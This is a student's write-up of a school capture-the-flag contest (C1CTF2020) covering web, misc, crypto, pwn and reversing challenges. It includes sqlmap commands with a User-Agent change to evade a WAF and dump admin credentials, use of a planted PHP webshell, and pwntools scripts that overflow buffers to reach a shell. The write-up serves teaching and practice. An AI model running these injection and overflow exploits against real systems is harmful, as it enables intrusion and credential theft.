文章目录
C1CTF2020WP
这次校赛学到的东西还是很多的,边做边学。。。。至少没有被零封
题目地址
WEB
一、webshell
使用dirsearch扫一下,发现一个shell.php
进入发现,推测是一句话木马,没有加 @, super_secret_&passwd就是参数
用蚁剑连进去,发现错误,出了hint4才知道是 & 没有urlencode,&urlencode后是%26
找到flag文件,得到flag。
二、make_big_news
sql注入题,一开始以为是进入管理后台进行sql注入,但不对
回到主页面发现/?id=1,应该是在主页面用sqlmap
先-u查了一下,发现有waf
看了hint的User-Agent,以为是网页的user-Agent,改成administrator发现也不对,上网查了一下,原来sqlmap也有User-Agent,sqlmap提交请求时默认的UserAgent为:sqlmap/0.9 (http://sqlmap.sourceforge.net),这样很容易暴露。我们可以改成我们自己的,首先BP抓包得到自己的User-Agent,找到option文件,搜索useragent,更改return值为自己的User-Agent然后就可以了。
首先
python sqlmap.py -u "http://42.192.184.223:25565/?id=1" --dbs
,爆表名
然后python sqlmap.py -u "http://42.192.184.223:25565/?id=1" -D news --tables
进入adminpython sqlmap.py -u "http://42.192.184.223:25565/?id=1" -D news -T admin --columns
接下来就是查账号和密码了python sqlmap.py -u "http://42.192.184.223:25565/?id=1" -D news -T admin --columns -C username --dump
和python sqlmap.py -u "http://42.192.184.223:25565/?id=1" -D news -T admin --columns -C password --dump
直接登录,得到flag
三、What you see is not true
抓包在Repeater里发现一个可疑的php
直接访问
看response,得到flag。
Misc
一、Behindme
360压缩直接打开,得到两个文件,第二个就是flag。。。
可能是360压缩的问题。
二、flag的痛
audacity打开,选择频波图,Ctrl+滚轮缩小即可得到flag。
三、呜呜呜
gif图拿到kali下,binwalk扫出一个7zip
使用指令 dd if=wuwuwu.gif of=2.7z skip=6515 bs=1
得到2.7z
发现有密码,一般伪加密应该7z可以打开啊。。。直到看到hint3,弱口令,果断输入123456,解开压缩包得到flag。
四、真·签到
直接输入flag即可
CRYPTO
一、Base的千层套路
老千层饼了,先base64
再base16
然后再base32、base64,base32,最后十六进制转字符串得到flag。
二、PigIsSoCute
猪猪,栅栏,应该是猪圈密码+栅栏密码,下载题目
很明显base64加密图片,找个解码网站解出图片
与猪圈密码表对应得到字符串
也可以去网站在线转换。
最后找到栅栏密码解密
在栏数为11时,语句通顺,即为flag。
三、ezrsa
低加密指数广播攻击,给了三组[n,e],并且加密的是同一个消息。
一开始还以为时e=3的指数攻击,爆了半个小时没出。。。
原来是附件错了。。。。不过还是有师傅在原来附件下做出来了,tql
直接上脚本,利用中国剩余定理
#coding:utf-8
import gmpy2
from Crypto.Util.number import long_to_bytes
def CRT(items): #中国剩余定理
N = reduce(lambda x, y: x * y, (i[1] for i in items))
result = 0
for a, n in items:
m = N / n
d, r, s = gmpy2.gcdext(n, m)
if d != 1: raise Exception("Input not pairwise co-prime")
result += a * s * m
return result % N, N
# 读入 e, n, c
e = 3
c1 = 17539961945253373331398829582415575036612590036028757160772244972941908466194620745487023767352926635453129673400947551800570434953767905902511379295345136570451295489004354977126089417697594812125862100295615892308145313262857527278337604392345816174840378652211171638690235768088513635252024385701456197867071483547776503865408409665095139733362063385643440859866760991522192617240460504557499194128504331507032560630787690799469014901580657128316778018414925198950809650404230359744912206082228624165856464258230573588957481525576839241810430236093217199856740231709797084566663183618816179247665234718539862375401
n1 = 25954427034636580488688831489560115961069472666415079273188034049008164292940982483612692501107292736442028702125249540852911969436468068247311640975480854492713351976176525107812421379597665083397176515413434794308159396038186056408397306479209393999454750519928895047459076589767348484006913759151416548823334675582153771760249016389971299782988978062163676178221833040970770232195936409272958856175588744276987268446839438228569198582572605622120469636250653620089140773532878971104036436080460912344807135105729626088120725564796123320176046591333153953156273882667280324378550802455223461937451841750073937989983
c2 = 19539433379216375750218779547809435082376062229344477092200871020606061269432023167855101557680750544416015137722429840602008656509188763841543689135752445081445085769419299442034779615280240976402031241423972293205872765805658756654762675178901338870755503879710815288905412632689902066516703213400579816331631896382153898787960802955572920035926336038746837415149996536394565793517378707048820536682814580494351837890938696637346974833887793018590409840667797035121476421376800944840299969820809315976451914567085976886787797952235847848303316051413592902451221192422759665784806839017636325833553952683415622277952
n2 = 28977092400787747945291214910953475539397234633352432488666947740932896707746402087821613046855183575993557568941158781622249869105260289295489171383139731429934283214540710808914967126144590911898223369390321872883938655216721369282084455732783931981613818631966554624868638800456323235693804356430288896569110909336549599272178314914621792570786164871693373909365501287006142071973005860686344874538143943409429678311737686588867879332895264597392666663429379812688533242656808653123802278526421662344107299830146336834937141923350992781402666027186207135144811802279179093695687133335834251524227256015307192667513
c3 = 2918771551109062192743205470533564743530056495509371083790131677186017377366876762293882312559301769357307295816292413881152560132690342974420494635750769296910584532596145872019444918884467672570317268685540399444720264635786588214509564818842868742697904854444519509240580449289880213055809856384077365925988427171564956047955329734920817815060202824430450606090801964935340359511488077057357948109798343529542672715979068275244032300296615263045889742363640538553080156092612057664163330784377800571208069910607577769286608705780510252727167158433741629217121035911007985869067181230135673920332673026493205578621
n3 = 24190274092630151926687108793524797704176150214559782896709114566936770947792315485598948092406603301001115324838577933772803761602741194516662266729209957846204581131810722907796267901163277374210255586883616164601148068628640292710177535651254874024209722605833909278514127991673090395029685984076324965718786722675755176835689645547154439390446344335367504783824259324152050501491588000676038321288448646330542896345041295625635250852659692178192868571083100117948063254735996935227555828339364201830194807935109124187509333776751082631706013914267005054512697140686858570500070125114765551217478594770260412263351
n = [n1,n2,n3]
c = [c1,c2,c3]
data = zip(c, n)
x, n = CRT(data)
m = gmpy2.iroot(gmpy2.mpz(x), e)[0].digits()
print long_to_bytes(m)
运行得到flag。
四、MITM
首先是sha256(),解密是不现实的,只能爆破
脚本:
import hashlib
sha = '662b45adf9453da253c5cac870d0c5c689e672112fa2455228bb32ba28dcfa14'
str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
str2 = 'sEo2bOUvHBmWQCiJ'
for i in str:
for j in str:
for k in str:
for x in str:
string1 = i+j+k+x+str2
if(hashlib.sha256(string1.encode('utf-8')).hexdigest()==sha):
print i+j+k+x
break
得到前四位,进入下一步
好家伙,嘤语不好的我看了头都大了。研究了半天终于明白了,Diffie-Hellman中间人攻击。
一边看着信安数基课本,一边解题。。。权当复习了
画了一张极草的图
解密方法课本也给出了,这里u=g^k , v = m *(g ^a) ^k mod( p )
根据课本写出脚本:
from gmpy2 import *
from Crypto.Util.number import long_to_bytes
g = 30932834142269550677232597839723419577424027932298193211727584980160405152016160859677975137035055085319627996219785399194044755440164321207601628586641208627579753016477561104304291961262786064868308097505778950297725190302426938548395436599982604046638358905147281553256780276476119965960852843249300996389
p = 127716972599959775383921891629238550807219465385231684816879987248298032099520045167767508621298943786802373206616339952713458030291514198815196516613243812427630619053206092232023708926342114426861335034458430721462017837083760989131023008959997918546845013521143397725421991501862579214935580003102532801557
A = 11841502130035363876997006137604206235157269506207472458979714206179517892994359025007975346034396152090593449522042998966024850529060056545233595210867025939946360088969873588650227504617047767628856231109096630466643513380342369434356608747704340740774834984960627738072689195148642042768632105433218581071
B = 55288744072654128538612447153722944937350124270393969742956396122807470615949253435809408613734631219052358901952170469327418844780313203245172392862259734885347151244371124416025145078425362857083468639191428282531987509689024713029737215408790589929559049441861368536651403637520881880336451903050174075089
C_b = 113495015769921801038995007657912020844760426463438561290960160092966606799945865311277149542941032530329190978591583596987027566180373410416807262759716614202104870294559671894232877044341481327825081904674327995963076097654973571535827659166946999615351735749673473990582231308250020466030829079935545458179
C_a = 10222301852224956897670083503823741710718536156410806559086924486265672583929485492187631122367778769637510819934407176271470089091141928108672671929277016529139158100884813877760457056767330353278303014298957708375365177493938324022435555419183490323779378962063946353831368669205106462626341229591808355652
xd1 = 1234
xd2 = 3214
yd1 = powmod(g,xd1,p)
print yd1
yd2 = powmod(g,xd2,p)
print yd2
up_2 = powmod(B,p-1-xd1,p)
m = powmod(up_2 * C_b,1,p)
print m
# v = m * powmod(A,xd2,p)
# print v
up_1 = powmod(A,p-1-xd2,p)
m1 = powmod(up_1 * C_a,1,p)
print m1
v1 = m1 * powmod(B,xd1,p)
print v1
flag = long_to_bytes(m1)+long_to_bytes(m)
print flag
运行得到flag。
PWN
一、guess1
首先在虚拟机file一下
64位,check一下,好家伙火力全开。
丢到ida64里跑一下,main函数看到是个猜数字的游戏
success函数是cat flag
但是在main函数随机种子产生前有一个gets(),这里存在溢出漏洞
然后是伪随机数。伪随机数问题,只需要把随机种子设置成固定值,就可以通过反复测试或设置同种子来生成伪随机数。
这里可以看到name到seed地址偏差为0xc
这时就可以构造payload
payload = 'A' * 0xc + p64(1)
前面0xc个A是赋值给name,64位整数1是赋值给seed。
根据payload写出脚本
from pwn import *
from ctypes import *
sh = remote('8.136.142.239',30472)
e=ELF('./ou')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
payload = 'A' * 0xc + p64(1)
sh.sendlineafter("",payload)
libc.srand(1)
for i in range(10):
sh.sendlineafter("",str(libc.rand()%10))
print sh.recvall()
二、ezstack
老规矩首先file,32位,check一下发现金丝雀没开,应该是栈溢出。
丢进ida,看main函数
调用了realmain函数,
这里仅仅是返回一个printf,而gets函数没有任何限制,这里可以进行栈溢出
然后又看到一个函数,应该去是这里获取shell终端
然后我们进入gdb动态调试,下断点到realmain函数
然后 r 运行
然后一直n,直到运行到get,然后尝试输入4个A
这时还是看不到esp和ebp的距离,再用stack 30, 计算 0xffffd098-0xffffd086=0x12
要达到4f_sal函数的起始地址,32位还要加4
然后构造payload payload = b"A"*(0x12+4)+p32(0x08048546)
exp
from pwn import *
p =remote("42.192.184.223", 32776)
payload = b"A"*(0x12+4)+p32(0x08048546)
p.send(payload)
p.interactive()
运行得到flag。
RE
一、ezpyc
pyc文件反编译
源码:(其中应该少个ord,补上了才能运行…)
将其中的O0o换成str,好看一点
def encrypt(str):
trt = ''
srt = str
srt = srt[::-1]
for tr in range(len(srt)):
tt = ord(srt[tr]) + tr ^ len(srt) - tr
trt += chr(tt)
return trt
异或的运算优先级要比+、-要低,所以先算加减最后算异或
根据A ^B ^B =A 所以就可以得出脚本了
脚本:
def decrypt(m):
nstr = ''
for i in range(len(m)):
xx = (ord(m[i]) ^ len(m) - i)-i
try:
nstr+=chr(xx)
except:
continue
n_str = nstr[::-1]
return n_str
if __name__ == '__main__':
m1= '`zn pc|or-mx??Mzb?Hx~D??{?~N~'
print(decrypt(m1))
# c1c"f""7c_1"_e4""_t0_reve7se}
m = 'c1ctf{p7c_1"_e4sy_t0_reve7se}'
因为编码问题…我只得出了部分,好在剩下的不多,凭借直觉就可以填上。
二、ezcmp
IDA动态调试问题,这道题,就在不知不觉下断点调试的时候突然就变成正确的flag了。。。搞得我很懵。复现的时候才明白了。
file一下,64位
在本机打开IDA64,在众多复杂字母中找到main函数
看到这个不要激动,哈哈哈哈假的。
先看汇编代码,猜测这两个可能是printf和scanf(如果不对还请师傅们指正)
将断点设到scanf前,这种效果。
设置linuxDebug,首先得到linux虚拟机的ip地址,将linux_server64文件复制到linux下,启动。
前两个设置文件所在位置要包含文件名,第三个是位置,port维持默认。
start,即在本机得到flag。
总结
通过这次校赛,确实学到了很多,除了Crypto别的也只能签个到,还是要继续努力去学习更多的知识啊。感谢师傅们出的题。
最后放一下排名